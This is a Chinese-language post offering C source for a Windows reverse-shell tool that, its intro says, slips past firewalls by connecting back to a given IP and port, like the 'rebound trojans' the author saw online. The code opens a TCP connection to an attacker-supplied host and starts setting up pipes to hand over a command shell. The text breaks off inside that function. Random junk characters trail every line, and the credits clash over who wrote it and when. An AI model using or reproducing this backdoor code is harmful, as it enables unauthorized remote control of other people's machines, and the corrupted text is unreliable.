这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J=>?D@K
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/* ============================== l(9$s4R
Rebound port in Windows NT cH6ie?KvAo
By wind,2006/7 f&t]O$
===============================*/ ,-A8;DW]^J
#include phSF.WC
#include -i|qk`Y
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#pragma comment(lib,"wsock32.lib") %[ 4/UD=7
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void OutputShell(); IXt2R~b
SOCKET sClient; DR/qe0D
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; u3kK!2cdP
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void main(int argc,char **argv) o7VNw8Bp
{ Ea1{9>S
WSADATA stWsaData; "+s#!Fh *
int nRet; *w4jE T>
SOCKADDR_IN stSaiClient,stSaiServer; ,.tT9?
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if(argc != 3) _Jj/"?
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printf("Useage:\n\rRebound DestIP DestPort\n"); AY:3o3M
return; 8 f%@:}H
} =25qY"Mf
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WSAStartup(MAKEWORD(2,2),&stWsaData); zfL$z,zgf
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ws
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stSaiClient.sin_family = AF_INET; i0,{*LD%^
stSaiClient.sin_port = htons(0); RH ow%2D
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -@i)2J_WP
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JY0t Hs
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printf("Bind Socket Failed!\n"); (w]w
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return; `|wH=
} 0IBVR,q
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stSaiServer.sin_family = AF_INET; /7*jH2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zB\g'F/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8-cG[/|0
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0t5>'GYX
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printf("Connect Error!"); ^G=wRtS
return; &/=>:ay+#
} 7Upm
OutputShell(); >5wA B
} jpyV52
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void OutputShell() u#%Ig3
{
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char szBuff[1024]; O;f^'N
SECURITY_ATTRIBUTES stSecurityAttributes; p+;Re2Uyg
OSVERSIONINFO stOsversionInfo; L@S"c
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %cO;{og M
STARTUPINFO stStartupInfo; m(nlu
char *szShell; x@2rfs
PROCESS_INFORMATION stProcessInformation; 3XY$w&